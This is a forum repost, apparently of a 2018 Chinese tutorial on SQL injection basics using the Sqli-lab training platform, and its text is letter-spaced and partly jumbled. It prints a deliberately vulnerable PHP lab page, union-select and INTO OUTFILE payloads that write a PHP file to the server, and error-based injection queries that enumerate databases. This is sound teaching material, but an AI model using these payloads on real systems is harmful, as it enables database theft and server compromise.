搜索

[1075] 2018-06-25_[小东]6月份作业之SQL注入基础-基于Sqli-lab平台

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2018-06-25_[小东]6月份作业之SQL注入基础-基于Sqli-lab平台 [ 小 东 ] 6 月 份 作 业 之 S Q L 注 入 基 础 - 基 于 S q l i - l a b 平 台 原 创   小 东   C h a B u g   2 0 1 8 - 0 6 - 2 5 简 介 ： S Q L 注 入 是 一 个 常 见 的 漏 洞 ， 在 所 有 的 安 全 防 护 统 计 数 据 儿 结 果 中 显 示 ， S Q L 注 入 几 乎 占 据 网 络 攻 击 问 题 的 6 0 % 左 右 ， 由 此 可 见 S Q L 注 入 漏 洞 是 一 种 常 见 的 W E B 漏 洞 ， 了 解 S Q L 注 入 对 于 网 络 安 全 工 作 者 或 安 全 爱 好 者 来 说 ， 是 非 常 有 必 要 ， 本 文 章 主 要 通 过 s q l i 平 台 来 具 体 阐 述 S Q L 注 入 漏 洞 产 生 的 原 因 和 利 用 方 法 。 0 x 0 0   S Q L 注 入 漏 洞 简 介 注 入 漏 洞 简 介 有 关 S Q L 注 入 的 各 种 定 义 阐 述 已 经 很 多 ， 大 家 可 自 行 使 用 搜 索 引 擎 搜 索 即 可 ， 小 东 不 再 赘 述 。 0 x 0 1   S Q L 注 入 产 生 的 原 因 注 入 产 生 的 原 因 简 单 来 说 ， 每 天 熬 夜 敲 代 码 的 程 序 员 ， 写 程 序 的 时 候 ， 没 有 考 虑 到 程 序 在 与 数 据 库 交 互 时 会 产 生 一 些 安 全 问 题 ， 倘 若 没 有 对 用 户 输 入 的 数 据 正 确 判 断 、 过 滤 ， 就 会 导 致 用 户 可 以 构 造 恶 意 的 p a y l o a d 来 获 取 更 多 的 数 据 ( ) ， 甚 至 是 D o w n l o a d 数 据 库 ， 导 致 信 息 泄 漏 ， 甚 至 导 致 受 害 人 受 到 人 身 攻 击 或 威 胁 。 0 x 0 2   S Q L 注 入 检 测 方 式 注 入 检 测 方 式 常 见 的 S Q L 注 入 是 基 于 s q l 语 言 来 的 ， 有 这 三 种 S Q L 语 句 ， 注 入 原 理 都 是 类 似 的 ， 了 解 一 下 S Q L 语 法 即 可 ， 下 面 以 S E L E C T 查 询 语 句 为 例 子 。 1 .   S E L E C T   类 型 类 型 这 种 S Q L 语 句 就 是 查 询 语 句 ， 一 般 用 于 数 据 查 询 ， 例 如 网 站 的 数 据 搜 索 功 能 、 新 闻 文 章 展 示 、 用 户 资 料 调 取 等 等 ， 因 为 网 站 的 绝 大 部 分 数 据 都 是 存 放 在 数 据 库 中 （ 当 然 数 据 库 也 有 很 多 类 型 ， 常 见 的 有 M Y S Q L   M S S Q L   S Q L S E V E R   A C C E S S . . . ） 。 下 面 小 东 就 基 于 S q l i l a b 的 L e s s 1   来 演 示 源 码 ： < ? p h p / / i n c l u d i n g   t h e   M y s q l   c o n n e c t   p a r a m e t e r s . i n c l u d e ( " . . / s q l - c o n n e c t i o n s / s q l - c o n n e c t . p h p " ) ; e r r o r _ r e p o r t i n g ( 0 ) ; i f ( i s s e t ( $ _ G E T [ ' i d ' ] ) ) { $ i d = $ _ G E T [ ' i d ' ] ;       / / 获 取 i d 值 $ s q l = " S E L E C T   *   F R O M   u s e r s   W H E R E   i d = ' $ i d '   L I M I T   0 , 1 " ;     / / S Q L 查 询 语 句 $ r e s u l t = m y s q l _ q u e r y ( $ s q l ) ; $ r o w   =   m y s q l _ f e t c h _ a r r a y ( $ r e s u l t ) ;         i f ( $ r o w )       / / 如 果 有 数 据 ， 查 询 到 了 结 果 （ 根 据 s q l 语 句 输 出 条 件 还 可 以 盲 注 ， 以 后 再 讲 ）         {         e c h o   " < f o n t   s i z e = ' 5 '   c o l o r =   ' # 9 9 F F 0 0 ' > " ;         e c h o   ' Y o u r   L o g i n   n a m e : ' .   $ r o w [ ' u s e r n a m e ' ] ;         e c h o   " < b r > " ;         e c h o   ' Y o u r   P a s s w o r d : '   . $ r o w [ ' p a s s w o r d ' ] ;         e c h o   " < / f o n t > " ; 执 行 用 户 的 任 意 操 作 S E L E C T U P D A T E I N S E R T
        }         e l s e   / / 否 则 输 出 错 误 消 息         {         e c h o   ' < f o n t   c o l o r =   " # F F F F 0 0 " > ' ;         p r i n t _ r ( m y s q l _ e r r o r ( ) ) ;     / / 此 处 输 出 了 m y s q l 的 错 误 消 息 ， 正 常 的 线 上 产 品 ， 这 种 调 试 输 出 的 语 句 都 得 注 释 或 删 除         e c h o   " < / f o n t > " ;             } }         e l s e   {   e c h o   " P l e a s e   i n p u t   t h e   I D   a s   p a r a m e t e r   w i t h   n u m e r i c   v a l u e " ; }     / / 如 果 用 户 没 有 传 递 i d 值 则 在 页 面 输 出 这 一 句 话 ， 如 第 一 幅 图 所 示 ? > 2 . 检 测 检 测 S Q L 注 入 注 入 通 过 上 面 的 源 码 分 析 ， 如 果 我 们 的 S Q L 语 句 有 错 误 ， 那 么 将 会 输 出 错 误 信 息 ， 也 就 说 明 了 S Q L 语 句 没 有 正 确 执 行 ， 用 户 提 交 的 而 数 据 导 致 了 程 序 原 本 的 S Q L 语 句 失 效 。 检 测 方 法 常 见 在 参 数 后 面 加 上 等 等 来 判 断 是 否 存 在 S Q L 注 入 ( 是 否 过 滤 ) ， 如 下 所 示 3 . 构 造 构 造 P a y l o a d h t t p : / / w w w . t e s t . c o m / L e s s - 1 / i n d e x . p h p ? i d = - 1 % 2 7 % 2 0 u n i o n % 2 0 s e l e c t % 2 0 u s e r ( ) , d a t a b a s e ( ) , v e r s i o n ( ) % 2 0 % 2 3 妥 妥 的 S Q L 注 入 ， 一 般 情 况 下 ， 注 入 是 不 会 有 数 据 回 显 的 ， 这 时 候 我 们 就 可 以 通 过 S Q L 盲 注 的 方 式 ， 或 者 简 单 粗 暴 的 S Q L 查 询 写 文 件 的 方 式 ， 盲 注 挺 麻 烦 的 ， 一 个 个 手 工 猜 解 当 然 是 不 可 能 的 ， 当 我 们 构 造 好 了 p a y l o a d 只 需 要 用 P y t h o n 写 个 脚 本 ， 跑 一 下 就 行 了 ， S Q L 盲 注 放 到 下 篇 文 章 再 讲 ， 写 文 件 的 方 式 需 要 ： 1 .   知 道 绝 对 路 径 2 .   知 道 该 文 件 有 可 写 入 的 权 限 ， 一 般 选 择 缓 存 文 件 夹 c a c h e 如 下 可 写 入 文 件 ： h t t p : / / w w w . t e s t . c o m / L e s s - 1 / i n d e x . p h p ? i d = - 1 % 2 7 % 2 0 u n i o n % 2 0 s e l e c t   ' < ? p h p   p h p i n f o ( ) ;   ? > '   i n t o   o u t f i l e   ' D : S e r v e r s q l i L e s s - 1 1 . p h p '   % 2 3 ' a n d   1 = 1 a n d   1 = 2 x o r   1 = 1
访 问 ， 即 可 在 当 前 L e s s - 1 目 录 下 生 成 一 个 1 . p h p 文 件 ， 会 显 示 输 出 信 息 访 问 ： h t t p : / / w w w . t e s t . c o m / L e s s - 1 / 1 . p h p 0 X 0 3   总 结 总 结 总 的 来 说 ， S Q L 注 入 漏 洞 很 常 见 ， 在 代 码 审 计 的 时 候 是 一 个 需 要 格 外 重 视 的 漏 洞 ， 即 使 程 序 有 做 过 滤 ， 多 思 考 ， 结 合 程 序 其 他 的 漏 洞 ， 配 合 起 来 就 可 以 绕 过 过 滤 ， 文 章 有 不 妥 之 处 ， 还 望 批 评 指 正 ， 联 系 Q Q ： ！ 0 x 0 4   更 多 解 题 过 程 更 多 解 题 过 程 W o r d 文 档 下 载 地 址 ： 文 档 下 载 地 址 ： 蓝 奏 网 盘 ： h t t p s : / / w w w . l a n z o u s . c o m / i 1 8 w w 4 h 百 度 网 盘 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 _ y N C r K 4 u M m 7 r C N z W I d V t h w 0 x 0 5   补 充 补 充 M y s q l 中 的 注 释 符 p h p i n f o 1 0 9 9 7 1 8 6 4 0
# - -   / * . . . * / / * ! . . . * /   内 联 注 释   / * ! 5 0 s e l e c t * / （ m y s q l 版 本 大 于 5 0 执 行 ） 常 见 函 数   s y s t e m _ u s e r ( )   系 统 用 户 名   u s e r ( )   用 户 名   c u r r e n t _ u s e r ( )   当 前 用 户 名   s e s s i o n _ u s e r ( )   连 接 数 据 库 的 用 户 名       d a t a b a s e ( )   数 据 库 名   v e r s i o n ( )   M Y S Q L 数 据 库 版 本   l o a d _ f i l e ( )   M Y S Q L 读 取 本 地 文 件 的 函 数   @ @ d a t a d i r   读 取 数 据 库 路 径   @ @ b a s e d i r   M Y S Q L   安 装 路 径   @ @ v e r s i o n _ c o m p i l e _ o s   操 作 系 统   W i n d o w s   S e r v e r   2 0 0 3 字 符 串 拼 接 函 数 ：     c o n c a t ( s t r 1 , s t r 2 ) c o n c a t _ w s ( s e p a r a t o r ,   s t r 1 , s t r 2 . . . ) g r o u p _ c o n c a t ( s t r 1 , s t r 2 . . . . . . ) 布 尔 注 入 、 延 时 注 入 用 到 的 一 些     函 数 需 要 掌 握 的 几 个 函 数 ： 1 ，   e x i s t s ( ) 2 ，   a s c i i ( ) 3 ，   s u b s t r ( ) e x i s t s ( ) 函 数 ： e s i s t s   用 于 检 查 子 查 询 是 否 会 返 回 一 行 数 据 ， 该 子 查 询 实 际 上 并 不 返 回 任 何 数 据 ， 而 是 返 回 T r u e 或 F a l s e 。 a s c i i ( ) 函 数 ： 返 回 字 符 串 s t r 的 最 左 面 字 符 的 A S C I I 代 码 值 。 如 果 s t r 是 空 字 符 串 ， 返 回 0 。 如 果 s t r 是 N U L L ， 返 回 N U L L 。 s u b s t r (   )   函 数 ： s u b s t r ( s t r i n g ,   n u m   s t a r t ,   n u m   l e n g t h )   s t a r t   # 从 第 1 位 开 始 ， 。 s t r i n g   为 字 符 串 ； s t a r t 为 起 始 位 置 ； l e n g t h 为 长 度 。 s u b s t r ( d a t a b a s e ( ) , 1 , 1 ) ;   x s s x l i m i t   0 , 1 0   查 询 的 位 置 ， 0 表 示 第 一 行 ， 1   查 询 的 条 数 报 错 注 入 用 到 的 一 些 函 数 f l o o r ( )   f l o o r ( x ) , 有 时 候 也 写 做 F l o o r ( x ) ， 其 功 能 是 “ 向 下 取 整 ” ， 或 者 说 “ 向 下 舍 入 ” ， 即 取 不 大 于 x 的 最 大 整 数 1 . s e l e c t   *   f r o m   a d m i n s   w h e r e   i d = 1   a n d   ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( * ) , c o n c a t ( u s e r ( ) , f l o o r ( r a n d ( 0 ) * 2 ) ) x   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   x ) a ) ; 2 . 获 取 有 多 少 个 数 据 库   a n d   ( s e l e c t   1   f r o m ( s e l e c t   c o u n t ( * ) , c o n c a t ( ( s e l e c t ( s e l e c t   ( s e l e c t   c o n c a t ( 0 x 7 e , c o u n t ( s c h e m a _ n a m e ) , 0 x 7 e )   f r o m i n f o r m a t i o n _ s c h e m a . s c h e m a t a ) )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s l i m i t   0 , 1 ) , f l o o r ( r a n d ( 0 ) * 2 ) ) x   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p b y   x ) a ) 通 过 l i m i t   获 取 所 有 数 据 库 名 a n d   ( s e l e c t   1   f r o m ( s e l e c t   c o u n t ( * ) , c o n c a t ( ( s e l e c t ( s e l e c t   ( s e l e c t   c o n c a t ( 0 x 7 e ,   s c h e m a _ n a m e ,   0 x 7 e ) f r o m   i n f o r m a t i o n _ s c h e m a . s c h e m a t a   l i m i t   0 , 1 ) )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   l i m i t 0 , 1 ) , f l o o r ( r a n d ( 0 ) * 2 ) ) x   f r o m i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   x ) a ) 常 见 报 错 函 数 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理